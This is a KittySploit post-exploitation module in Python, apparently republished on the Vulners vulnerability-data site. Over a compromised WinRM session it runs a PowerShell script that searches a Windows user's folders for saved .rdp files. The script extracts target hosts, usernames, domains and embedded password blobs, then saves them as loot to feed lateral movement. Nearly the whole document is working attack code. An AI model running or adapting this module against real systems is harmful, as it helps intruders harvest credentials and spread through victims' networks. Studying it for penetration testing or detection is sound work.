WinRM Gather RDP Files
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from kittysploit import *
from lib.protocols.winrm.winrm_session_mixin import WinRMSessionMixin
import re
class Module(Post, WinRMSessionMixin):
__info__ = {
"name": "WinRM Gather RDP Files",
"description": "Find and parse saved .rdp client files through a WinRM session",
"author": "KittySploit Team",
"platform": Platform.WINDOWS,
"session_type": SessionType.WINRM,
"references": ["https://attack.mitre.org/techniques/T1021.001/"],
"agent": {
"risk": "intrusive",
"effects": ["active_exploitation"],
"expected_requests": 2,
"reversible": False,
"approval_required": True,
"produces": ["credentials"],
"chain": {
"consumes_capabilities": ["authenticated_session"],
"produces_capabilities": ["rdp_targets"],
"suggested_followups": ["post/winrm/manage/lateral_winrm"],
},
},
}
save_local = OptBool(True, "Save results under ./output", False)
def _script(self) -> str:
return r"""
$searchDirs = @(
(Join-Path $env:USERPROFILE 'Documents'),
(Join-Path $env:USERPROFILE 'Desktop'),
(Join-Path $env:APPDATA 'Microsoft\Windows\Recent')
) | Where-Object { Test-Path -LiteralPath $_ }
$rdpFiles = New-Object System.Collections.Generic.List[string]
foreach ($dir in $searchDirs) {
Get-ChildItem -LiteralPath $dir -Filter '*.rdp' -File -Recurse -Depth 2 -ErrorAction SilentlyContinue |
ForEach-Object { $rdpFiles.Add($_.FullName) }
}
$defaultRdp = Join-Path $env:USERPROFILE 'Documents\Default.rdp'
if ((Test-Path -LiteralPath $defaultRdp) -and ($rdpFiles -notcontains $defaultRdp)) {
$rdpFiles.Add($defaultRdp)
}
$rdpFiles = $rdpFiles | Select-Object -Unique
if ($rdpFiles.Count -eq 0) {
Write-Output 'No .rdp files found in common user locations.'
return
}
$interesting = @(
'full address:s:', 'username:s:', 'domain:s:', 'alternate shell:s:',
'drivestoredirect:s:', 'redirectclipboard:i:', 'redirectprinters:i:',
'authentication level:i:', 'prompt for credentials:i:', 'password 51:b:'
)
$sections = New-Object System.Collections.Generic.List[string]
foreach ($file in $rdpFiles) {
$lines = Get-Content -LiteralPath $file -ErrorAction SilentlyContinue
$picked = $lines | Where-Object {
$line = $_.Trim().ToLower()
foreach ($key in $interesting) { if ($line.StartsWith($key)) { return $true } }
$false
}
if (-not $picked) { $picked = $lines | Select-Object -First 25 }
$hasPwd = $lines | Where-Object { $_.Trim().ToLower().StartsWith('password 51:b:') }
$note = if ($hasPwd) { "`n(note: embedded password is DPAPI/CredSSP encrypted)" } else { '' }
$sections.Add("=== $file ===`n$($picked -join "`n")$note")
}
$sections -join "`n`n"
"""
def run(self):
try:
print_status("Searching saved .rdp files over WinRM...")
result = self.winrm_run_encoded_ps(self._script())
if not result:
raise ProcedureError(FailureType.Unknown, "No output returned")
if re.search(r"No \.rdp files found", result, re.I):
print_warning(result)
return True
if self._bool_opt(self.save_local, True):
path = self.winrm_save_loot(result, "winrm_rdp_files")
print_success(f"Saved to ./{path}")
print_success("RDP file extraction completed")
print_info(result)
return True
except ProcedureError:
raise
except Exception as exc:
raise ProcedureError(FailureType.Unknown, f"WinRM RDP dump error: {exc}")
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
17 Jul 2026 05:31Current
5.8Medium risk
Vulners AI Score5.8